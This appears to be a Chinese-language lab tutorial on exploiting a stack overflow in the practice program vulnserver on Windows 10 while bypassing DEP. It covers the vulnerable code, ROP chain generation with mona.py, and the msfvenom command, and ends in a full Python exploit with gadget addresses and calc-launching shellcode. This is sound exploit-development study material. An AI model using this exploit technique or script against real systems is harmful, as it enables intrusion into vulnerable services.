环境
操作系统:Windows 10 x64 (运行的是32位的程序)
漏洞程序:vulnserver (国外研究员开发用来练习漏洞利用的程序)
开启DEP
选择为所有程序和服务开启DEP。
漏洞分析
vulnserver 里面作者设计了各种漏洞,我们这里只需要找一个栈溢出即可。
直接查看源码或者IDA反编译都可以,这里直接贴出栈溢出的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| void Function3(char *Input) { char Buffer2S[2000]; strcpy(Buffer2S, Input); }
......省略
while (CSocket) { Result = recv(Client, RecvBuf, RecvBufLen, 0); if (Result > 0) { ......省略 } else if (strncmp(RecvBuf, "TRUN ", 5) == 0) { char *TrunBuf = malloc(3000); memset(TrunBuf, 0, 3000); for (i = 5; i < RecvBufLen; i++) { if ((char)RecvBuf[i] == '.') { strncpy(TrunBuf, RecvBuf, 3000); Function3(TrunBuf); break; } } memset(TrunBuf, 0, 3000); SendResult = send( Client, "TRUN COMPLETE\n", 14, 0 );
|
意思是要求前5个字符是 TRUN
,然后第6个字符是.
,这样它就会调用Function3,将我们send过去的数据复制到缓冲区Buffer2S中,其大小是2000,所以我们填充2000+个字符就能覆盖到返回地址。
1 2
| payload = 'TRUN .' payload += 'A' * 2006
|
构造ROP
因为我们开启了DEP,所以需要找一系列的ROP指令来绕过它。这里可以利用 Immunity Debugger 中的 mona.py 插件来自动化生成ROP指令。
但是这里有一个小坑,我测试时发现它会生成像 LEA EBX,EAX
这种错误指令,所以我把它的代码改了一下。
修改后的代码: mona.py。 安装方法:将 mona.py 放到 Immunity Debugger 的 PyCommands 目录。
命令:!mona rop -cp nonull -m *.dll
这段ROP的作用就是调用 VirtualAlloc 开辟一段有具执行权限的区域,然后将shellcode放到这段区域内执行。具体原理可以看我的第二篇文章Windows 10 Bypass DEP (2)
然后用 msfvenom 生成 shellcode:
./msfvenom -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f python -a x86
利用代码
这里最终的利用代码,布局如下:
padding -> rop chain(返回地址)-> padding -> shellcode -> padding
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| import socket import sys import struct
host = '127.0.0.1' port = 6666
def create_rop_chain(): rop_gadgets = [ 0x76f2eca8, 0x7e14e2ac, 0x76d2fde1, 0x76876802, 0x76f5d2bf, 0x76ee9944, 0x76cf1998, 0xffffffff, 0x74e06bdd, 0x76cebb14, 0x768af47a, 0xa2bf4fcd, 0x769a6010, 0x7626ada7, 0x76d5ffc9, 0xffffffc0, 0x76d1bfe3, 0x77211f4d, 0x76edd23b, 0x74e4d085, 0x770d317c, 0x90909090, 0x7714c5ee, ] return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
rop_chain = create_rop_chain()
shellcode = b"\xda\xdb\xbe\x7a\x98\xa7\x3b\xd9\x74\x24\xf4\x5f\x29" shellcode += b"\xc9\xb1\x31\x31\x77\x18\x83\xef\xfc\x03\x77\x6e\x7a" shellcode += b"\x52\xc7\x66\xf8\x9d\x38\x76\x9d\x14\xdd\x47\x9d\x43" shellcode += b"\x95\xf7\x2d\x07\xfb\xfb\xc6\x45\xe8\x88\xab\x41\x1f" shellcode += b"\x39\x01\xb4\x2e\xba\x3a\x84\x31\x38\x41\xd9\x91\x01" shellcode += b"\x8a\x2c\xd3\x46\xf7\xdd\x81\x1f\x73\x73\x36\x14\xc9" shellcode += b"\x48\xbd\x66\xdf\xc8\x22\x3e\xde\xf9\xf4\x35\xb9\xd9" shellcode += b"\xf7\x9a\xb1\x53\xe0\xff\xfc\x2a\x9b\xcb\x8b\xac\x4d" shellcode += b"\x02\x73\x02\xb0\xab\x86\x5a\xf4\x0b\x79\x29\x0c\x68" shellcode += b"\x04\x2a\xcb\x13\xd2\xbf\xc8\xb3\x91\x18\x35\x42\x75" shellcode += b"\xfe\xbe\x48\x32\x74\x98\x4c\xc5\x59\x92\x68\x4e\x5c" shellcode += b"\x75\xf9\x14\x7b\x51\xa2\xcf\xe2\xc0\x0e\xa1\x1b\x12" shellcode += b"\xf1\x1e\xbe\x58\x1f\x4a\xb3\x02\x75\x8d\x41\x39\x3b" shellcode += b"\x8d\x59\x42\x6b\xe6\x68\xc9\xe4\x71\x75\x18\x41\x8d" shellcode += b"\x3f\x01\xe3\x06\xe6\xd3\xb6\x4a\x19\x0e\xf4\x72\x9a" shellcode += b"\xbb\x84\x80\x82\xc9\x81\xcd\x04\x21\xfb\x5e\xe1\x45" shellcode += b"\xa8\x5f\x20\x26\x2f\xcc\xa8\x87\xca\x74\x4a\xd8"
payload = 'TRUN .' payload += 'A' * 2006 payload += rop_chain payload += "\x90" * 6 payload += shellcode payload += 'C'* len(payload)
try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.recv(1024) s.send(payload) s.close() except Exception, e: print e
|